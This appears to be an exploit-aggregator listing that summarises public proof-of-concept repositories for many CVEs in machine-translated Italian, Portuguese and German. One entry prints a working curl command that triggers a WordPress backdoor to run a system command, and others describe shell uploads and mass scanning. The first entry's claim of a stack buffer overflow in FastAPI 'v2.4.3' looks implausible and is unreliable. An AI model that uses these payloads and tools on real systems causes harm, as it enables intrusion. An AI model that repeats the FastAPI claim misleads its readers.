CVE-2025-23266

CVE-2025-23266 Autor: Mark Mallia Plataforma-alvo: Ubuntu 22.04, FastAPI v2.4.3 → corrigido para v2.5.1 em 2025-10-02 1 – Em resumo: o que este ataque envolve A rotina parserequest do FastAPI copia os cabeçalhos de requisição HTTP para um pequeno buffer que reside na pilha do chamador. Se um...

CVE-2023-27163-POC

CVE-2023-27163 È stato scoperto che Request-baskets fino alla v1.2.1 contiene una Server-Side Request Forgery SSRF tramite il componente /api/baskets/name. Questa vulnerabilità consente agli attaccanti di accedere a risorse di rete e informazioni sensibili tramite una richiesta API modificata...

CVE-2025-26865

CVE-2025-26865: Iniezione di Template Lato Server in FreeMarker tramite il plugin "ecommerce" in Apache OfBiz A causa di una regressione tra le versioni 18.12.17 e 18.12.18, la correzione per la scoperta di CVE-2022-25813: Iniezione di Template Lato Server in FreeMarker in Apache OfBiz non è più...

CVE-2024-11320

CVE-2024-11320 Exploit für Pandora FMS Remote Code Execution CVE-2024-11320...

CVE-2025-22953

CVE-2025-22953 – Epicor HCM SQL Injection cieca non autenticata Aggiornamento – Patch rilasciata da Epicor Epicor ha rilasciato ufficialmente una patch che risolve questa vulnerabilità. A tutti gli utenti interessati è fortemente consigliato di applicare l'aggiornamento immediatamente. 🔗 Annuncio...

CVE-2021-46364

CVE-2021-46364: YAML-Deserialisierung in Magnolia CMS Magnolia Versionen =6.2.3 nutzt einen Snake-YAML-Parser, der anfällig für Deserialisierungsangriffe ist, die einem Angreifer das Aufrufen beliebiger Java-Konstruktoren beim Importieren von YAML-Dateien ermöglichen können. Mithilfe dieser...

CVE-2023-49964

CVE-2023-49964: FreeMarker Server-Side Template Injection in Alfresco In Hyland Alfresco Community Edition =7.2.0 wurde ein Problem entdeckt. Durch das Einfügen von schädlichem Inhalt in die Datei folder.get.html.ftl kann ein Angreifer SSTI-Angriffe Server-Side Template Injection durchführen, die...

CVE-2022-23642

PoC per Sourcegraph Gitserver 3.37.0 RCE CVE-2022-23642 Sourcegraph precedente alla 3.37.0 presenta una vulnerabilità di esecuzione di codice remota sul suo servizio gitserver. Ciò è dovuto alla mancanza di restrizioni sull'esecuzione della configurazione git, quindi "core.sshCommand" può essere...

CVE-2026-5718

CVE-2026-5718 CVE-2026-5718: Upload de Arquivo Não Autenticado para RCE no Plugin DnD Upload CF7 CVE-2026-5718 — Scanner de RCE de Upload de Arquivo do DnD CF7 Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID:...

CVE-2024-9264

🚨 CVE-2024-9264 - Injeção SQL no Grafana levando a Execução Remota de Código RCE e leitura de arquivos Ferramenta de exploit para CVE-2024-9264, uma vulnerabilidade crítica no Grafana que permite que um atacante autenticado execute consultas SQL levando a RCE 🛡️ Esta ferramenta é estritamente para...

CVE-2024-55555

Scanner di Massa Laravel Crypto Killer CVE-2024-55555 Questo script esegue una scansione di massa di applicazioni basate su Laravel vulnerabili a CVE-2024-55555, una vulnerabilità di esecuzione remota di codice RCE non autenticata in Invoice Ninja. Automatizza il processo di rilevamento di siti c...

CVE-2025-21298

CVE-2025-21298 contenuto Questa è una proof-of-concept per CVE-2025-21298 - Windows OLE Remote Code Execution Vulnerability CVSS 9.8. Si tratta di una PoC di corruzione della memoria , non di un exploit. vulnerabilità La vulnerabilità si trova in ole32.dll!UtOlePresStmToContentsStm. Lo scopo dell...

CVE-2020-1350-Fix

KB4569509: Orientações para a Vulnerabilidade do Servidor DNS CVE-2020-1350 Introdução Em 14 de julho de 2020, a Microsoft lançou uma atualização de segurança para o problema descrito em CVE-2020-1350 | Vulnerabilidade de Execução Remota de Código do Servidor DNS do Windows. Este aviso descreve u...

CVE-2022-31814

Download CVE-2022-31814 Questo script sfrutta una vulnerabilità in pfSense per caricare una shell, eseguire un comando e poi eliminare la shell. Requisiti Python 3.x Libreria requests Installazione 1. Clona il repository o scarica lo script. 2. Installa le librerie Python richieste: root@kitploit...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 backdoor WordPress Weblizar curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2022-46169

Cacti remoteagent.php Vulnerabilità di esecuzione remota di comandi CVE-2022-46169 Descrizione della vulnerabilità Cacti è una piattaforma di monitoraggio e gestione dei server. Nelle versioni da 1.2.17 a 1.2.22 è presente una vulnerabilità di iniezione di comandi. Un attaccante può aggirare la...

Spring-Boot-Tomcat-CVE-2025-24813

CVE-2025-24813: Apache 1. Spiegazione Tomcat è vulnerabile a causa di due vulnerabilità separate, la prima è una debolezza in DefaultServlet che consente put parziali per scrivere una directory temporanea vedi:...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 CVE-2021-38003 exploit estratti da https://twitter.com/WhichbufferArda/status/1609604183535284224...

fastjson-1.2.58-rce

fastjson-1.2.58-rce serve: root@kitploit: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar Scarica fastjson-1.2.58.jar...

CVE-2022-46169

CVE-2022-46169 Exploit per CVE-2022-46169 versioni di Cacti precedenti alla 1.2.3 Qui remoteclientauthorized controlla il nome host del client nella tabella poller per l'accesso root@kitploit: function remoteclientauthorized // ... $clientaddr = getclientaddr; // ... $clientname =...